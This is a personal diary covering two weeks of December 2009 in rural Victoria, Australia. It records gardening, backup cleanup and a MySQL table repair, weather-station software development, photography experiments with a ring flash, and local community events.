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Tuesday, 1 December 2009 Dereel
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Topic: gardening Link here

Finally found documentation of a kind about the two Eucalyptus that we pulled out yesterday:


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That is a detail of a photo taken on 10 May 2008. The two plastic soft drink bottles protect the seedlings. But I omitted to mention what they were, or why we planted them there—another justification for the level of detail I go to nowadays in describing what I did in the garden. I still suspect that we brought them from Wantadilla, but why did we think they would fit in there?

Today, however, I didn't do anything spectacular: weeding, and got rid of quite a few of the thousands of Calendula seedlings that are popping up where we removed the Calendulas a year ago. It'll be fun to ensure that they don't come back.


Wednesday, 2 December 2009 Dereel Images for 2 December 2009
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Backup woes
Topic: technology Link here

I used to do a full level 0 dump of my system at the beginning of each month, but somehow disk speed hasn't kept up with capacity, and 500 GB used to take forever. Restoring a single file from a 500 GB dump isn't much fun either, so now I'm backing up individual top-level file systems with tar. I write the backups to disk on another system—tapes have proved far too unreliable—and so of course I compress. Some months back I started using pbzip2, which sped things up a lot, but from time to time it crashes, leaving an impressive core file behind:

-rw-------  1 root  lemis  3071049728 Dec  1 17:28 pbzip2.core

That size (3 GB) gives the lie to why it died, of course: this is a 32 bit machine, and the top 1 GB of address space is reserved for the kernel, so it just ran out of address space. People have told me of other, better programs, but unless they use much less memory, they'll suffer the same fate. The key is to be more selective, and for that I need to investigate what software is available, rather than kludging my own. Today just ran the individual tars through bzip2 instead of pbzip2, in the process keeping an eye on what I was backing up.

That's interesting, because you tend to see the big files. And there were plenty of them, files in a directory called ~/Desktop which must be created by web browsers: I had about 20 GB of them. Also I'm backing up the photos on my web pages, which I also back up (different link, different directory) on my photo disk. Time to move that.

And then there was a database table of behemoth proportions:

-rw-rw----  1 mysql  mysql  10438721248 Nov 27  2008 changedfiles.MYD
-rw-rw----  1 mysql  mysql   2100002816 Nov 27  2008 changedfiles.MYI

No idea what it was, so tried to take a look into it:

mysql> select * from changedfiles limit 1000;
ERROR 144 (HY000): Table './household/changedfiles' is marked as crashed and last (automatic?) repair failed
mysql> repair table changedfiles;
+------------------------+--------+----------+--------------------------------------------+
| Table                  | Op     | Msg_type | Msg_text                                   |
+------------------------+--------+----------+--------------------------------------------+
| household.changedfiles | repair | warning  | Number of rows changed from 0 to 204463224 |
| household.changedfiles | repair | status   | OK                                         |
+------------------------+--------+----------+--------------------------------------------+
2 rows in set (1 hour 5 min 43.23 sec)

While I was waiting for that, Peter Jeremy pointed at RFC 1882, yet another “12 days of Christmas” parody:

 On the first day of Christmas, technology gave to me:
          A database with a broken b-tree (what the hell is a b-tree anyway?)

This goes on to confirm the size (“Rebuild WHAT? It's a 10GB database!)”, and that the database software was written in Scandinavia. The RFC was in the year that MySQL was founded, and he got the country wrong, but the name of the contact, Lars, could have been my last boss at MySQL, Lars Thalmann. Amusing coincidence.

The table proved to be something that—amusingly—I had been toying with a year ago to automate my backups, so I could drop it. Also found a lot more music in a different hierarchy, and that doesn't need to be in these dumps either.


Topic: gardening Link here

The weather was warm, sunny and windless today, just the weather we need to spray weeds. And that was necessary: the area to the east of the main garden used to have grass, and we've sprayed it a couple of times, but it keeps coming back. That's quite a nuisance: we want to mulch it and plant things before it gets really hot. Did some spraying, and was greatly annoyed by the backpack leaking all over me; had to completely change my clothes.

More mysteries

We're gradually coming up with more mystery plants. This one looked like it could be a weed, but there was something different about it, so I'm leaving it until it blooms before pulling it out:


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The mystery was solved only a couple of weeks later: they're poppies. This confirms my intention to be careful with what I pull out.

We also have some kind of reed grass that volunteered:


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The individual stems attract birds, who bend them over so they lie flat on the ground. Presumably this is the way the grass spreads. I suspect this is the Thing That Came Out Of The Swamp. It's rather pretty, so we'll probably keep some of it, though in a different place.


Thursday, 3 December 2009 Dereel Images for 3 December 2009
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Tidying up the cruft of decades
Topic: technology, photography Link here

As planned, continued tidying up my file systems today. It's amazing how much stuff you pick up over the course of time, and some of it is very large. The /var file system was about 10 GB, in itself not overly surprising—but most of it was analogue record (“LP”) data that I had copied round 16 June 2003, and which included both the raw digital data and some extremely bad MP3 compressions (8 kbit/s, 8000 Hz mono). Relegated that to the multimedia directories for the time being; I can look at it later (in another 6½ years?).

Also discovered a weakness in my photography processing: I've already established that I was backing up my web site photos twice, once on the multimedia disk and once on the normal backups. Most of the photo data on the web is in the “big” files, of course, but they're just links to the ~/Photos directory, which is in the multimedia hierarchy. I solved that by moving that part of the hierarchy to the multimedia hierarchy, but on running rsync discovered a number of files that either didn't exist in the multimedia hierarchy (they appear to be related to debugging done when I started this method), or they weren't the same files. This must happen when I add files to the source directory and don't completely rebuild the destination directory. Maybe I should use symlinks.

At the end of the exercise, had 10 GB more in my multimedia backup—that was to be expected—and something like 40 GB (8%) of the disk freed up. And I'm sure there's plenty more out there to be cleaned away.


Topic: general Link here

What did Australia's roads look like 80 years ago? Went looking for old maps, but the oldest I could find (undated) must have been about 1976. Found some old punch cards (I used to use them instead of a notebook) in there with some details of a trip I did with my then-wife Doris, showing locations and fuel consumption:


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That enabled me to write a sketch diary of 32 years ago. 32 years ago today we had the last family reunion with my mother's side of the family. It's also interesting to note the price of petrol in those days: on 4 January 1978 we paid $0.169 per litre. Nowadays we'd be happy to find it for $1 more per litre.


Erecting the Eiffel Tower
Topic: gardening Link here

We still can't decide how to lay out the garden, but I finally bit the bullet, removed some Dianthus and put the Eiffel Tower behind the bird bath:


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Planted the Pandorea_jasminoides on it; it'll be a while before we see much there.

Yvonne was inspired by the “succulent garden” that we bought at the “Ballarat Gardens in Spring” event last month. More by accident than design, we bought a couple of pots identical to the one the “garden” came in, so she made her own. Here the original and the improvement, which needs to grow a bit:


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I'm not sure what the succulents all are, but we have at least a Ledebouria socialis (left centre), a Crassula perforata (left of bottom), some kind of reddish Sempervivum barely visible behind it, and a Sedum “gold mound” on the right.


Friday, 4 December 2009 Dereel Images for 4 December 2009
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Opera 10: browser solution?
Topic: technology, photography Link here

I've had an uncomfortable relationship with web browsers for some years. They're full of misfeatures, they're slow and badly configurable. They have no understanding of the environment—for example, (firefox looks for executables in the home directory rather than following PATH. I hate tabs with a passion: they're just a way of working round deficiencies in window managers. But today my main concern was the time it takes firefox to render one of my “big” photos: click on a “small” photo and it can take up to 10 seconds to render the big version, and that on a relatively fast machine. It's not clear that this is firefox's fault—I note that a lot of the CPU time is taken up by the X server, though this could be the result of inappropriate interfacing. But Opera release 10 is out, and it promises all sorts of improvements, such as integrated web server (isn't that a different program?).

Decided to download it and try it out. Installation was trivial, since Opera provide a FreeBSD binary. Running it was a different matter: enormous fonts on the window surroundings (menus, URL entry field) and tiny fonts for the page display. Went into the Preferences menu and found a non-resizeable, too-small window that didn't even display the complete font names:

 
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And there seems to be no way to select the size of the non-page text. Decided that it might be something left behind from the previous installation, so renamed my ~/.opera directory and tried again. Success! Well, partially. Firstly, it's a workaround at best. Configuration of any program should be transparent enough that you can recover from problems of this nature. But it seems that web browsers typically don't document half their configuration options, and many are not available via the configuration menus.

More importantly, though, my big photos didn't take nearly as long to render—they just disappeared. After some investigation, that turned out to be a bug in my markup which the W3 validator says is allowed but can cause confusion. After fixing that, Opera displayed the images, but no faster than firefox—which may indicate that it's really an X problem.

But other things irritate me. The thumbnail photo display can be glacially slow—on one occasion, where firefox rendered in 3 seconds, Opera was still going after 30. And the rendering is strange. Here's a portion of my photos for today, where all the photos run into each other vertically, but not horizontally:


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I suppose it's quite possible that this is correct rendering of my HTML, though it doesn't make much sense (on the other hand, what web standards do make sense?), but it's irritating. All in all, I can't see any reason to switch to Opera.


Topic: gardening Link here

The last of my tomatoes have been gradually d(r)ying on the verandah. The question was, where to plant them, and I finally decided on the old compost heap behind the garden shed. We had some unhappy looking potted Hibiscus rosa-sinensis there. Yvonne had potted them in Wantadilla years ago, but since moving here they haven't bloomed. Took a look and found the most root-bound plants I have ever seen:


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The root on the second one must be 2.5 metres long. The one on the first plant was also coiled around multiple times and may have been as long. Repotted them in larger pots. We'll see how they go. There's always the compost heap.

That wasn't the only thing I found there. There was also a pot with five Buddleja globosa plants, and it occurred to me that we could use them as a screen for the north-east part of the garden, where we've been puzzling the layout for some time. Picked up the pot and tore a root: it had grown down into the ground below, and I tore it about 50 cm from the bottom of the pot.

The Buddlejas later proved to be Buddleja weyeriana, not globosa.

Left it until the afternoon to plant them, by which time the one with the torn root was looking decidedly unhappy, so braved the flies—summer is here—and planted them. Getting them apart was quite a problem: the roots were all entangled in each other, and in the end I had to wash out all the soil to disentangle them, in which activity I was helped with great enthusiasm by Piccola:


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Planted three of them and put the other (smallest) ones back in pots. The big one's not looking very happy; hopefully it'll recover. The ones we planted last year are already 2.5 metres tall, so there's hope.


Saturday, 5 December 2009 Dereel Images for 5 December 2009
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Topic: photography Link here

House photos today, and more cause for thought. Exposure is really still quite a problem; it's high time for the camera industry to introduce sensors with a higher dynamic range, 16 bits deep or more. Today it was quite evident in the photos of the lagoon. The weather was overcast and the sky wasn't particularly bright, but with“center-weighted” metering the foreground looked underexposed (first image). Even spot metering didn't make much difference.


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Decided to try it with exposure compensation of +1 and +2 EV, which certainly brightened things up:


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But which is right? And why is such a motive such a problem? Somehow it should be easier to manipulate this kind of photo.

I've been taking the panorama photos with flash fill-in to lighten up the shadows, and in the case of the panorama from the south-east of the house I think I'm overdoing it. The results are not really clear, but I suppose I should drop the flash for this panorama.


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Topic: gardening Link here

More garden work in the area behind the Buddlejas, which are still not looking very happy. Planted the Salix melanostachys to the right, and a Fuchsia closer to the shed. I wonder if we should add a protective screen until the Buddlejas can give enough shade.

The Buddlejas later proved to be Buddleja weyeriana, not globosa.

Also tidied up the verandah, which was looking more and more like a plant nursery, and put in more dripper lines. We still have a row of Cannas that need drippers, but the flies really get on my nerves, so I'll put it off until tomorrow.


Topic: animals Link here

The kangaroos are back! I've seen mobs of 15 or so in the south paddock, and each time I've chased them back into the lagoon. Hopefully they'll get tired of being chased away; I'm certainly already tired of chasing them.

The blue cat isn't exactly “back”; he's been around all the time. But it seems that any interest Piccola had for him is gone, so there's no particular issue.


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Topic: general, food and drink Link here

Chris along for dinner, Paella valenciana, one of Yvonne's favourites. Yvonne normally eats like a bird, but today it was more like a vulture: she ate more than we did.


Sunday, 6 December 2009 Dereel Images for 6 December 2009
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Topic: animals Link here

Out riding today, for the first time, it would seem, in 9 months, along with Chris. I'm sure it can't have been that long, but I can't find any more recent reference in my diary. Went down almost to Rokewood Junction, a total distance there and back of 10 km, which is a bit of a record for us “recently”. Got back completely exhausted—why should such a little ride take so much out of me?

Yvonne took a number of photos along the way:


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Topic: gardening Link here

On the ride, saw some interesting plants on the roadside:


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They've clearly bloomed already, but they could be the same as the Chasmanthe_floribunda that we found on the side of the road opposite our house last year.

Back home, didn't do much in the garden, but found yet another mystery flower:


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I have the feeling I should recognize it, but for the moment it evades me.


Topic: photography, opinion Link here

Taking photos of the Chasmanthe wasn't easy. I don't take my camera with me when I go riding, and so I only had the Nikon and Kodak compact cameras. The viewfinders don't work well in bright sunshine, and I gave up trying to take a close-up of the flowers.

There was a time when I came to the conclusion that the electronic display of the compact cameras was superior to an optical viewfinder, particularly for people who wear glasses, and when I bought my Olympus E-510, the “live view” functionality was an important decider. But now, two years later, I'm not so sure. In the case of the Olympus, things are made even more difficult by the clunky implementation, and I almost never use it except for close-ups. But even with compact cameras it's difficult to see details, and in bright sunshine it's almost impossible to see anything.


Monday, 7 December 2009 Dereel Images for 7 December 2009
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Weather stations and Linux USB
Topic: technology Link here

More work on the weather stations today. Working on the hypothesis that the USB problems could be related to the USB stack (the FreeBSD stack in 7.x is derived from the NetBSD stack), continued my Linux porting and got it finished. Sort of:

=== root@cvr2 (/dev/pts/5) /home/grog/dereel-weather 125 -> ./wh1080
Can't claim interface: could not claim interface 0: Device or resource busy (16)

After some discussion, it seems that Linux requires you to first detach the kernel driver which (apparently) claims any new USB device. Tried that, again with little success:

could not detach kernel driver from interface 0: No data available (61)

What does that message mean? More head-scratching needed, I suppose. Maybe I need to look at the meaning of the interface parameter.

Also gave up on writing scripts to import data from Wunderground, and wrote a quick and dirty program in C, which did the job, and which is flexible enough to handle changes in format. I suppose I could have done the same in Perl or Python, but I've never found a compelling reason to learn them.


Topic: gardening Link here

Finally got around to laying dripper lines for the Cannas today. What a pain it is, literally. The 4 mm dripper line is so firm that it's almost impossible to insert the barbed type of dripper, and I ran out of drippers with screw thread, skinning my knuckles in the attempt to push a barbed dripper into the tube. But it's done. I wonder why the shops here don't sell tubing to match the drippers they sell.

Also removed the rest of the Carpobrotus in the south bed. I had sprayed it with Glyphosate weeks ago, but it looked completely unaffected. It was much easier to pull out than the last time, however, so I suppose the Glyphosate had done its job.


Tuesday, 8 December 2009 Dereel
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Weather software: refinement and comparisons
Topic: technology Link here

Woke up to the sound of pouring rain—7.2 mm, quite a bit round here. But my weather software reported much drier conditions, with rainfall as low as -0.6 mm. Found the bug pretty quickly, but somehow the rain reporting is still a significant issue. The real problem is that it has to be an interval, and my solution (keeping “last value” and “current value” counters) doesn't really cater for reporting to multiple locations (database, screen, Wunderground, web site). Put in separate “last values” counters, but I still don't like the situation, and I'm pretty sure I'll change it again.

Also looking at comparisons between different weather stations, something that, as far as I know, no other weather software does. Importing the data is quite complicated; I had always thought that CSV was pretty straightforward, but only if you have the same formats as the supplier. I've already established that Wunderground has two different formats, but the Australian Bureau of Meteorology has yet another. Wrote another program, based on yesterday's Wunderground import program. Fortunately that went pretty smoothly. I can see myself writing quite a few of these; maybe I should combine them into one. Also reorganized the database daily observations table so that it has the same format for local and remote observations.


Wednesday, 9 December 2009 Dereel Images for 9 December 2009
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Weather station: local differences
Topic: technology Link here

One of the things that worries me about my weather station is the accuracy. I've already established that the pressure gauge returns a value that, after correction to mean sea level, is about 13.5 hPa lower than the official weather stations, and I've added a correction factor. But is the error linear? And what do other stations report? Spent some time working out a comparative display page for a number of the weather stations in the area, in the process discovering a number of deficiencies in yesterday's import programs, notably that this stupid 12 hour time causes more problems than I expected: MySQL happily imports 9:00 AM and 9:00 PM to both mean 09:00.

The comparison page shows a number of things:

  1. My gnuplot scripts are still pretty terrible. The legend in the small graphs overlays the right of the graphs, and the colours are difficult to recognize.

  2. My pressure error does indeed seem to be linear, at least for the current pressure range.

  3. As I've noticed before, other stations are wildly inaccurate about air pressure. Bacchus Marsh airport shows values in the order of 35 hPa lower than the official weather stations, and Delacombe is nearly 10 hPa higher:

    Click to see larger image
  4. The temperature here in Dereel seems much higher than elsewhere. I've noticed this before too, but in this case I think it's correct: I have three different outside thermometers, and they all agree. It is warmer here than in Ballarat, and it's interesting to note that the night temperatures are similar:

    Click to see larger image
  5. The wind speeds here seem lower. I'm not sure that this is correct, but it's difficult to know how to determine whether they're accurate or not.


Topic: animals Link here

Samba: The next generation

Samba is in season again, and Chris and Yvonne decided that she should have a foal this year. The lucky sire is Changó, God of thunder, for whom it was the first time:


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Still, he was very gentle, and things took their course without any problems.


Topic: photography Link here

More photographic toys arrived today. The most interesting was a passive ring flash unit for clipping on to an existing external flash unit:


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It's enormous! It dwarfs the camera, and it's also a bit of a wobbly fit. As the second photo shows, it's not quite vertical. Still, it stays roughly in place, and almost immediately I got a number of photos that I wouldn't have been able to get with a conventional flash:


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“Almost” is the operative word, though: it seems that, in TTL mode at any rate, I need to put in at least 2 EV exposure compensation. Here's the first attempt with the Anigozanthos:


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The other toys were a three-way level for mounting on the flash shoe (presumed parallel to the focal axis) and a wired remote control:


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I already have an infrared remote control, but it doesn't seem as fast as the cable, so it's worth it for studio close-up stuff. And the level cost almost nothing, so it may be worth playing with.


Topic: gardening Link here

The Anigozanthos in the previous photo is the one that the possum landed on a couple of weeks ago; it seems to have recovered from the treatment. Another plant that had given us concern was some Sedum cuttings that we had planted in a pot. They had bloomed happily enough, but now they were turning a rust-brown colour. It wasn't until I took a close-up that I found that the brown spots are fruit:


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They're only about 2 mm long and 1 mm thick. It's amazing what you find when you look at real close-up photos.


Thursday, 10 December 2009 Dereel Images for 10 December 2009
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Weather station: data reliability
Topic: technology Link here

Rain again today, and noted with satisfaction that I'm recording it correctly. Or am I? Looking at the Wunderground history, I saw no rain at all. Checking what I sent confirmed that the bug was at my end (not a foregone conclusion). What a mess this code is! Did a bit of investigation, but basically decided that I need to solve this problem differently. It should be possible to start the “report” program as many times as I want, and that breaks the current implementation.

Instead looked at the database approach: have a program pull the data out of the database and send it to Wunderground. That way I can not only sum the rainfall, but also average temperatures and pressures, which should potentially give more accurate results.

And accurate results are still an issue. According to the weather station, we had 12.9 mm rain today; but the manual rain gauge that I still maintain tells me that it was only 8.2 mm. Which should I believe? It's difficult to believe that the manual rain gauge is that inaccurate, though I have my concerns about evaporation on warmer days, but maybe the different location makes that much difference. To be observed.


Topic: opinion, technology Link here

Climate change—really?

I'm not the only person concerned with the accuracy of weather readings. Currently the København climate change conference is in full swing, and others also have their concerns about data reliability. On IRC was given a link to an article claiming that the climate data for Darwin had been manipulated. Without this manipulation (black line below), the overall temperature would seem to be dropping (blue), and with it it's rising (brown):

Temperatures
        at Darwin airport

The article is quite interesting, but does that mean it's correct? Certainly I agree with one aspect of the article: many people concerned with climate change are not prepared to discuss the matter at all. They're almost religious in their conviction. A good friend of mine who, I'm sure, wouldn't want his name mentioned, believes I'm a “Climate Change Sceptic” because I dared to question the causes of climate change. I'm leaving him believing that to see how long it'll be before he recognizes his misjudgement.

But this attitude is dangerous: if you don't discuss the causes of a problem, or, worse, falsify the data for whatever intentions, you're not going to help solve the real problem. It's like debugging a problem with a preconceived “knowledge” of what the problem is, or finding evidence to convict a “murderer” who isn't (really the same thing). In this case, I suppose I should go and test the claims of the author of the article. He's clearly not using the same data as the data from the Bureau of Meteorology that I would use: he states that the data dates back to 1897, but the Bureau of Meteorology has statistics for Darwin Post Office going back to 1869. I should try to get some data and put it though my graphs—after I have the rest of the stuff working properly.


Topic: technology, photography Link here

More scanning today. One of the things that really annoys me about my scanner is that it saves scan data in a JPEG file, even for 48 bit scans, thus negating any advantage. Today I had to install the software again—as it turned out, because the documentation was incorrect—and once again went looking for a way to change the file format, without success.

Finally went out to Google and found a link which stated:

Image used as character
Do one of the following to open the File Save Settings window.
Full Auto Mode

In the standby window, click the Customize button, then click the File Save Settings button. (If you started Epson Scan from a program like Adobe Photoshop Elements, this button doesn’t appear.)

Home or Professional Mode
Click the Icon File Save Settings button to the right of the Scan button. (If you started Epson Scan from a program like Adobe Photoshop Elements, this button doesn’t appear.)

The problem is, that looks nothing like what I have on my Apple:

 
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There's a blue symbol there, but putting the mouse on it gives no clue: I have to click on it to see anything. It's not documented in the documentation I got with the software, and the configuration is elsewhere. How are people expected to know that? Still, now (finally!) I can store my images in TIFF format, though the software insists on attaching a misspelt .tif to the file name.

The other issue was with what I'm scanning at the moment (which really needs a GIF format): I've found my copy of Mike Wrigglesworth's “The Japanese Invasion of Kelantan in 1941”, a description of the first Japanese attack in the Pacific War. I've already found that I have character recognition software, so used it with relative success to convert to normal text. But what a pain all this software is! Decided to store in a directory ~/Documents/Wriggle:

 
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What did I get? Nothing in ~/Documents/Wriggle, of course, but in ~/Documents I had:

-rw-r--r--    1 grog  grog    2905 Dec 10 16:23 Wriggle:P20-21

Yes, I know that this is the Apple Way, but I can't find any way to tell this software to store the data in the directory I want. Maybe I should just shut up, but this is the kind of pain, like a pebble in your shoe or an infected splinter in your finger, that just gets more irritating as time goes on.


Topic: photography Link here

More playing around with my new ring flash. Taking photos of the other toys was interesting. On the positive side, the shadows went away nicely. Here a photo with my studio flashes, which normally produce relatively shadow-free photos, followed by the ring flash:


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On the other hand, getting there took 6 attempts. Five attempts with TTL metering all produced photos that were too dark, so I did this with the good old-fashioned A (automatic) setting and +2 EV compensation, and at f/8. The next photo was with +3 EV compensation and f/11, and it came out considerably darker:


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That should have been lighter, not darker. Potentially this means that I'm reaching the limit of the guide number, which would mean it's about 6, or that the ring swallows 90% of the light. I suppose that's possible, but I need to do more thinking first.


Topic: general Link here

We're off to a housewarming party tomorrow, and we're bringing our old barbecue as a present. Spent much of the afternoon cleaning the accumulated grime of the years. There must be a way to keep the things cleaner.


Friday, 11 December 2009 Dereel → Gnarpurt → Dereel Images for 11 December 2009
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Topic: photography Link here

What are the implicit tradeoffs in calculating flash exposure? I've been pondering this for some time, and it's not helped by—wait for it—lack of documentation. Went looking at photo books on Safari, who seem to have changed their web site for the worse. Somehow they have overridden saved passwords, and they have a silly Javascript login box that hides itself underneath some advertising and first has to be moved aside so that I could even recognize it.

Once logged in, I couldn't find any way to just list titles; instead, I have to look at a summary listing of all titles, 20 per page with images. In the case of digital photo books, there were 154 titles, organized by reverse order of publication. Spent some time working through them, keeping my own list—something that should never be necessary—and didn't find anything really useful on how “TTL” flash works, though the description of Nikon's i-TTL flash system in The Nikon Creative Lighting System may be a reasonable start. Based on that, here are my hypotheses, and the assumptions:

Manual flash

In manual flash mode, the flash unit outputs a fixed amount of light. In some case, the exact amount can be preset, but the illumination is determined before pressing the shutter.

Assumptions

It's up to the photographer to ensure that it's correct.

Automatic flash

The flash unit emits light and measure the amount of light reflected. When it has received enough reflected light, it terminates the flash pulse.

Assumptions

The light reflected is in proportion to the desired exposure. There are many ways in which this assumption could be incorrect. The most obvious one is that the flash unit measures the illumination of the total area (and possibly even more), and it can be greatly misled by reflections in the foreground, for example in this image, where the right-hand side is included only to make for a better panorama. The illumination of this area is much higher than the rest, because it's closer, and it would completely determine the exposure in automatic mode.


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In the case of the ring flash attachment, the opposite may occur. The attachment partially covers the flash unit, so much of the reflected light may not get there. This would cause overexposure.

TTL flash

The flash unit emits a number of pre-flashes which the camera exposure system uses to estimate the exposure. This gives the advantage that you can use any of the camera's exposure modes (spot, weighted or full frame). Unlike the automatic mode, it doesn't monitor the light reflected during exposure.

Assumptions

The light reflected before the exposure is an accurate indication of the amount of light that will fall on the subject during exposure. This seems reasonable, but there are a number of pitfalls. In particular, the pre-flash could be done with another light emitter than the main flash. My flash unit has two flash tubes and also an infrared focus assistance, but it does use the main flash for the pre-flash, so there's no particular concern in this case.

My experience with the ring flash adaptor has shown that I can have both overexposed and underexposed photos with this mode, something that these considerations don't explain.


Topic: general Link here

Yvonne has found a local hairdresser, Aileen, who comes along to the house. She came today for the first time and gave me quite a reasonable haircut. That's certainly an advantage: I can have it done in Sebastopol, but for some reason I keep putting it off.

Apart from the weather station for which I'm writing the software, we also have a simpler unit from ALDI, really a digital interior/exterior thermometer and hygrometer with wireless connection to the exterior unit, combined with a barometer. It's battery operated, and I only changed the batteries a month or so ago, but today it stopped being able to communicate with the external unit, and later the display went dim: batteries had had it. I replaced them, and still the battery indicator went on: it doesn't like NiMH batteries.

Nele Koemle had a housewarming barbecue for her new house near Camperdown this evening, in a place that may be called Leslie or Gnarpurt—the road is Gnarpurt Road, anyway. Off with the Yeardleys and our old barbecue, a house-warming present, and had a pleasant evening in the stables:


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There were a surprising number of German speakers there—apart from Chris, Yvonne and myself, Nele comes from Graz, and there were a couple of German girls there from Stuttgart and Hamburg (Schnelsen, where I lived briefly in early 1968). Also an Icelandic girl there, Karen (or is that Karin?) Barrysdottir. The funny patronymic is because her father's English. Spoke a bit about pronunciation; I had expected the patronymic to be Bærrysdottir, but it seems that æ is pronounced differently (where's my IPA alphabet when I need it?) than in English (or Danish or Norwegian, for that matter).

Back home with a couple of horses, so the Yeardleys didn't want to come down our road, and dropped us with a torch at the end of the road. We didn't really need the torch: there was no moon, but the stars were so bright that we could see where we were going. You seldom see that in the town, nor anywhere in the Northern Hemisphere.


Saturday, 12 December 2009 Dereel Images for 12 December 2009
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Topic: general Link here

Another power failure tonight, apparently a very short one: some clocks didn't stop.


Topic: gardening Link here

Our Arums are looking decidedly unhappy—or they were. I suspect that they bloom in the early spring and then die back, and that's what they were doing, so we cut them all down, a couple of cubic metres' worth. I have no concerns that they'll reappear in due course. Looks like the overall appearance of the garden is set to change.


CFA workshop
Topic: general, opinion Link here

The CFA is holding a “workshop” on Sunday, and they want pre-registration:

You can register your attendance for this meeting by going to www.cfa.gov.au [no full stop]

Clearly that's another case of “we'll give you a clue where to find it, all you have to do is search”. So I searched. It wasn't that difficult to start: a subtitle “Community Meetings Online” contains a link to the real site, https://www.communityprograms.cfa.vic.gov.au/, which works sometimes. At least once I got a “logon failure”:


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Once you're there, of course, the searching isn't over. You need to enter a “Municipality”, a “Township” and a “Meeting Type”. The Meeting Type is clear enough: it's on my invitation sheet:


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The “Dereel Community Hall” must be the Soldiers' Memorial Hall, since that's all we have. “Township” must be Dereel. And “Municipality“? No idea, so took a look and discovered it's the Shire. Selected all the information from the emetic drop-down menus and found:


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They truncated text “Search” at the top of the detail image and the popup window with “Close” are par for the course, I suppose. But no meeting? After all that, they didn't have it on the web site? Well, not quite. They couldn't decide what it was, and they put it down as a “Community Meeting”:


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That's not just sloppy web site maintenance—in itself not surprising: the meeting is from 11:00 to 14:30 (according to the invitation) or 11:00 to 15:00 (according to the web site), right across Sunday lunchtime (who thinks of these times?). I'd go there for a workshop, but not for the kind of community meeting we had last autumn.


Sunday, 13 December 2009 Dereel Images for 13 December 2009
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Oracle kills MySQL?
Topic: technology Link here

A couple of days ago Chris Yeardley complained that I hadn't accepted her friend request on Facebook. That wasn't deliberate: I'm on Facebook, but I find it overly painful to use, and only look in about every 2 months. And, as seemed clear, Spamassassin had eaten it:

Content analysis details:   (5.0 points, 3.0 required)

 pts rule name              description
---- ---------------------- --------------------------------------------------
 3.5 BAYES_99               BODY: Bayesian spam probability is 99 to 100%
                            [score: 1.0000]
 0.5 FROM_LOCAL_NOVOWEL     From: localpart has series of non-vowel letters
-0.0 DKIM_VERIFIED          Domain Keys Identified Mail: signature passes
                            verification
 0.0 DKIM_SIGNED            Domain Keys Identified Mail: message has a signature
 1.0 HTML_MESSAGE           BODY: HTML included in message

I'm becoming less and less happy with Spamassassin. The Bayesian evaluations seem to be becoming very inaccurate; possibly the database has been poisoned. Anyway, off to look at Facebook and found 12 friend requests, two from people I don't know, and accepted the rest.

In the process, ended up looking at LinkedIn as well, and to my surprise found a message from Monty Widenius. I haven't heard from him for months, but this one was still fresh—fortunately: he's in a hurry. He's very concerned that Oracle will close down MySQL when (if) they take over Sun Microsystems, and he's asking for help to petition the European Commission to provide appropriate safeguards before they approve the sale of Sun Microsystems.

Is he right? Who knows? Oracle's a strange company, and I haven't been able to understand them. Four years ago they gave us (MySQL) a lot of concern with the takeover of InnoBase. Those concerns proved to be unfounded, at least in the short term. On the other hand, they have given no assurances of any kind about the future of MySQL, and now's the time for commitments. So I've written to the EC stating my concerns. Hopefully others will too.


Topic: general Link here

To the CFA bushfire planning workshop at the Memorial Hall today, and learnt some useful information about the way fires progress: it's not the trees that are the biggest danger, but litter (“fuel”) in the undergrowth. Even the conifers next to the house, which we had considered a danger, could prove beneficial by not catching fire that easily. Also got confirmation that sitting in the car in the middle of the (big, bare) paddock was a reasonable thing to do if we really did get a fire.

Unfortunately, the information was somewhat one-sided. There's a lot of talk about leaving on a “code red” day (and nothing about the very great likelihood of traffic jams), but when it comes to firefighting equipment, we learnt nothing beyond the recommendation to have a tank with at least 10,000 litres of water. Nothing about what to do with it, no information on how much flow you need to be able to fight a fire effectively. Not only that: the general opinion was “suck it and see”—and that in a planning workshop. I wonder if they expect me to light a bushfire to try it out in realistic conditions.

Disgusted, left early and back to inspect the property. Yes, we have a lot of “fuel” that we should gather up and put on the compost. Also checked whether our 2200 W ALDI generator would run our 550 W bore pump. No: as soon as the pump cut in, the generator died. Yes, there will be a surge when the pump cuts in, but it shouldn't be enough to stop the generator. I should have checked earlier: we've had the generator for 3 months, and it'll be difficult to return it.


Topic: photography, animals Link here

The toilet in our bathroom is right next to a window that reaches down to the floor, and there are bushes just outside, so you have something to look at while sitting on the toilet: mainly birds (Honeyeaters) and butterflies. Today I saw a spider catch an unwary beetle, but by the time I had set up my equipment, the beetle had been strung up and the spider had gone back into hiding:


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Topic: general Link here

Yeardleys along for dinner in the evening. It's Chris' birthday tomorrow, so we had one of her favourite dishes, salmon in sorrel sauce, and plenty of it (no undercatering today).


Monday, 14 December 2009 Dereel Images for 14 December 2009
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Weather station: better reporting
Topic: technology Link here

Spent much of the day playing around with a revised version of the report program for Wunderground, not in itself a big problem. But it's so ugly! Maybe I need to find other ways of doing things, but the canonical way with the MySQL C API delivers everything in an array of char *, and any column can be NULL. In my case, nearly all the information is floating point, so I end up with lots of stuff like:

    if (mysql_row [7])
    {
      wind_speed = atof (mysql_row [7]);
      if (verbose)
        printf ("Wind speed:\t\t%6.1f km/h\n", wind_speed);
      wind_speed *= KM_TO_MILES;
      sprintf (&mysql_querytext [strlen (mysql_querytext)],
               "&windspeedmph=%2.1f",
               wind_speed );
    }

One change to the query and I have 100 lines of this filth to check through. There must be an easier way.


Topic: gardening, opinion Link here

Watching the most recent programme of Gardening Australia in the evening. More fuel for my rant on weights and measures. Here's a recipe for an “oil-based preparation to suffocate insects”, which they used to call white oil:

4 tbs       Dishwashing liquid
1 cup       vegetable oil

Dilute 1:20 and put it in your sprayer.

Straightforward enough, right? We've already established that an Australian cup is 250 ml, and an Australian tablespoon is 20 ml. But is that correct? Look at the image:


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Diary entry for Monday, 14 December 2009

 

By the bye, this is the first jug I've seen that subdivides cups into thirds. Anyway, 1 cup is 8 (something). Well, the US cup is about 8 fluid ounces, between 236.6 ml and 240 ml, depending on which reference you believe, so this must be a US measurement. But why should we be using US measures in “metric” Australia? And if we're using US cups, should we be using US tablespoons (14.79 ml) instead? About the only useful comment in this regard is that the proportions aren't critical. But isn't it so much easier to write this?

1 part       Dishwashing liquid
4 parts       vegetable oil

Yes, I know the proportions are slightly different, but they're easier to remember, and they correspond both to the Wikipedia article and Gardening Australia's previous recipe. The method is so much easier to scale: what if you want to make 25 times the amount for the whole neighbourhood? Would you go and count out 100 tablespoons and 25 cups? Or would you get a more appropriate measure and use 1.5 litres of dishwashing liquid and 6 litres of oil?

